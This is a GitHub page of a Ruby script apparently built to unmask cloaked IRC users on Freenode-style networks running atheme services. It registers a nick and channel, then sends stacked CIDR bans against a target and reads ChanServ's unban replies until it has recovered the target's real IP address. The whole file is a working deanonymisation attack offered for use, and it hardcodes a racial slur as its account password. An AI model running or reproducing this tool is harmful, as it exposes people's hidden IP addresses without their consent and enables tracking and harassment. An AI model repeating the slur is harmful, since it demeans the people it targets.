-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathuncloakirc-freenode.rb
344 lines (260 loc) · 9.71 KB
/
uncloakirc-freenode.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
#!/usr/bin/env ruby
# encoding: utf-8
#
# See through cloaked client hostmasks and virtual hosts enabled by HostServ or ircd.conf.
#
# Target: atheme-services
# Tested on: ircd-seven
#
# NO! I didn't use the cinch gem; don't panic--I'm fluent in raw IRC.
#
require 'socket'
module Cloak
DEBG = true # Print debugging messages?
WARN = true # Display warning info?
ALTN = 1 # Number of alternate technique to use {:0 => default, :1 => AKICK }
# Initialize hashed configuration data storage constants
ERRO,CONF,CHAT,SVCS = {},{},{},{}
SVCS[:mail] = 'hotmail.com' # Note: FreeNode's NickServ does not allow registration of e-mails from mailinator.com
SVCS[:pass] = 'nigger'
# Numeric reply assignments
REPL = {:USERHOST=>302,:NAMREPLY=>353,:ENDOFNAMES=>366,:ENDOFMOTD=>376}
# Numeric error assignments
ERRO[:NICKNAMEINUSE] = 433
ABBR = true # false to expand 'CS' and 'NS' abbreviations to an RFC-compliant PRIVMSG command
CHAT[:nick] = 'xyz0'
CHAT[:host] = 'irc.freenode.net.'
CHAT[:port] = '6667'
CHAT[:duck] = 'beo'
CHAT[:user] = 'msftwin'
CHAT[:gcos] = '*Unknown*'
CHAT[:chan] = '##xyz0'
CHAT[:quit] = 'cya!'
CHAT[:trgc] = '#tcmd'
######################################################################################
### DO NOT CHANGE ANYTHING BELOW THIS LINE UNLESS YOU 4REAL KNOW WTF YOU'RE DOING! ###
######################################################################################
def vexit(enum, aexc)
STDERR.puts "#{afil}:#{alin} #{aexc}"
STDERR.puts aexc.backtrace.join("\n") if DEBG
exit enum
end
def ioerr(afil, alin, astr)
return IOError.new('') if afil.nil? or afil.empty?
astr.strip! if astr
if alin.nil? or alin.zero?
if astr.nil? or astr.empty?
IOError.new("(#{afil}) ERROR!")
else
IOError.new("(#{afil}) ERROR: #{astr}!")
end
else
if astr.nil? or astr.empty?
IOError.new("(#{afil}:#{alin}) ERROR!")
else
IOError.new("(#{afil}:#{alin}) ERROR: #{astr}!")
end
end
end
class Clone
######################################################################################
### DO NOT CHANGE ANYTHING BELOW THIS LINE UNLESS YOU 4REAL KNOW WTF YOU'RE DOING! ###
######################################################################################
BANS = [' *!*@0.0.0.0/2 *!*@64.0.0.0/2 *!*@128.0.0.0/2 *!*@192.0.0.0/2'] # 1st CIDR block-based ban stack string
DOT4 = ['.', '.', '.', ''] # auxiliary IPv4 dotted-quad array
INIT = [[0, 64, 128, 192], [2, 10, 18, 26]] # Initial /30 chunks and in-order per-byte CIDR bit increments
CIDR = [256, 128, 64, 32, 16, 8, 4, 2, 1, 0] # 2**8 countdown
MASK = ' *!*@' # "<SP>nick!user@" initial part of ban mask
attr_reader :nick, :user, :mail, :gcos, :chan, :duck, :quit, :host, :port
def ucputs(astr = '')
return nil if !(astr and astr.size > 0)
astr.strip!
sleep rand 0.32
if ABBR
sleep(0.84 + rand(1.44 + rand(1.22))) if rand(3).even?
else
astr.sub!(%r{^CS}i, 'PRIVMSG ChanServ :') if astr.upcase.start_with?('CS')
astr.sub!(%r{^NS}i, 'PRIVMSG NickServ :') if astr.upcase.start_with?('NS')
sleep(1.2 + rand(1.8 + rand(1.4))) if rand(4).even?
end # if ABBR
printf('%02d ', @arnd)
puts "[#{Time.now.asctime}] #{astr}"
@sock.puts astr
end # def ucputs
def getout(qmsg = 'Leaving')
begin
ucputs("QUIT #{qmsg}")
@sock.close
rescue Exception => e
STDERR.puts e.inspect
STDERR.puts e.backtrace.join("\n") if DEBG
exit -1
end
exit 1
end
# SnAp y0 FiNGaZ!
def initialize(aduq = '')
#['TERM','INT'].each { |s| Signal.trap(s) { getout("Caught SIG#{s}!") } }
@arnd = rand(Time.now.sec % 32).to_s
@chan,@host,@port = CHAT[:chan].downcase,CHAT[:host],CHAT[:port].to_i
@amod = "MODE #{@chan} +bbbb" # Raw IRC quad-stacked CMODE +b command bootstrap
vexit(-2, ioerr(__FILE__, __LINE__, "Invalid port #{CHAT[:port]}")) if @port <= 0 or @port > 65535
@sock = TCPSocket.new(@host, @port)
STDERR.puts '[%] Connected!' if DEBG
@nick,@user = CHAT[:nick].downcase, CHAT[:user].downcase
@mail,@gcos,@pass = SVCS[:mail],CHAT[:gcos],SVCS[:pass]
@duck,@quit = CHAT[:duck],CHAT[:quit]
@duck = aduq if !aduq.empty?
ucputs "NICK #{@nick}"
ucputs "USER #{@user} . . :#{@gcos}"
loop do
begin
aline = @sock.readline
aline.rstrip!
printf('%02d ', @arnd)
puts("[#{Time.now.asctime}] #{aline}")
if aline.include?(" #{ERRO[:NICKNAMEINUSE]} ")
ucputs("NICK #{@nick << rand(9).to_s}")
next
s = '!NICKNAMEINUSE'
STDERR.puts s
return s
end
break if aline.include?(" #{REPL[:ENDOFMOTD]} ")
rescue Exception => e
STDERR.puts e.inspect
STDERR.puts e.backtrace.join("\n") if DEBG
end # begin
end # loop do
ucputs "NS REGISTER #{@pass} #{@user}@#{@mail}" # if ALTN != 1
ucputs "NS ID #{@nick} #{@pass}"
ucputs "CS SET #{@chan} MLOCK OFF"
sleep 2
ucputs "JOIN #{@chan} #{@ckey}"
ucputs "CS CLEAR #{@chan} BANS"
ucputs "USERHOST #{@duck}"
sleep 2
ucputs "CS REGISTER #{@chan}" # if ALTN != 1
ucputs "CS OP #{@chan} #{@nick}"
ucputs "MODE #{@chan} +nsti"
sleep 2
### CAWSHUN: K0ADZ 4 EWEET IRC WARRI0RZ _ONLY_
@abit,@aoct,@anum,@anip = 2,0,-1,['0','0','0','0']
@aban,@umsk = @amod.dup,nil
@aban << BANS.first
ucputs @aban
if ALTN == 1
ucputs "CS AKICK #{@chan} ADD #{@duck} !P"
ucputs "CS AKICK #{@chan} DEL #{@duck}"
else
ucputs "CS UNBAN #{@chan} #{@duck}"
end
loop do
begin
aline = @sock.readline
aline.rstrip!
printf('%02d ', @arnd)
puts "[#{Time.now.asctime}] #{aline}"
aline.downcase!
if aline.start_with?('ping')
ucputs("PONG #{aline.split.last}")
next
end
if aline.include?(" #{REPL[:USERHOST]} ")
@umsk = aline.split(':').last
next
end
if aline.start_with?(':chanserv!') and aline.include?(" mode #{@chan} -b")
bnstr = aline.split('-b').last.split('/').first
bnstr.gsub!(%r{[ *!@]+}, '')
@aban,@anum = @amod.dup,bnstr.split('.')[@aoct].to_i
@anip[@aoct] = @anum.to_s
if !((@abit % 8).zero?)
@abit += 1
4.times do |t|
@aban << MASK
STDERR.puts "HERE: @anum: #{@anum} t: #{t} @aoct: #{@aoct}" if DEBG
case @anum
when 0
0.upto(3) do |j|
if j == @aoct
@aban << (@anum + CIDR[@abit] * t).to_s
else
@aban << @anip[j]
end
@aban << DOT4[j]
end
when 256
0.upto(3) do |m|
if m == @aoct
@aban << (@anum - CIDR[@abit] * t).to_s
else
@aban << @anip[m]
end
@aban << DOT4[m]
end
else
STDERR.puts "WHERE: @anum = #{@anum} t = #{t} @aoct = #{@aoct}" if DEBG
0.upto(3) do |n|
if n == @aoct
@aban << (@anum + CIDR[@abit] * t).to_s
else
@aban << @anip[n]
end
@aban << DOT4[n]
end # 0.upto(3)
end # case @anum
@aban << "/#{@abit + 8 * @aoct}"
end # 4.times
else # if !((@abit % 8).zero?)
@abit = 2
@aoct += 1
if @aoct == 4
#$# PHULL PJEERNESS
#%# qwnzed teh full addr!1!*wO0p!*wO0p!*PuLL oVeR m0FO!@#
#%# *w0Op!*wO0p!*Krad9 unit pig tail-n ewe phewlz!*w0Op!*w00p!*
#$# PHULL PJEERNESS
puts "*** <#{CHAT[:duck]}:#{CHAT[:trgc]}> => #{@umsk} => #{bnstr}"
ucputs("CS CLEAR #{@chan} BANS")
ucputs("QUIT #{@quit}")
@sock.close
return bnstr
end
4.times do |z|
STDERR.puts "THERE: @abit = #{@abit} @aoct = #{@aoct} z = #{z} @aban = #{@aban}" if DEBG
@aban << MASK
for i in 0 .. 3
if i == @aoct
@aban << INIT.first[z].to_s
else
@aban << @anip[i]
end
@aban << DOT4[i]
end
@aban << "/#{@abit + 8 * @aoct}"
end # 4.times
@abit += 1
end # else
ucputs @aban
if ALTN == 1
ucputs "CS AKICK #{@chan} ADD #{@duck} !P"
ucputs "CS AKICK #{@chan} DEL #{@duck}"
else
ucputs "CS UNBAN #{@chan} #{@duck}"
end
end # if aline.include?
rescue Exception => e
STDERR.puts e.inspect
STDERR.puts e.backtrace.join("\n") if DEBG
end # begin
end # loop do
true
end # def initialize
end # class
end # Module Cloak
include Cloak
# Invokes main initialize method in the Clone class of the Cloak module
athr = Thread.new { Clone.new(CHAT[:duck]) }
aret = athr.join
STDERR.puts aret.inspect if WARN
exit 0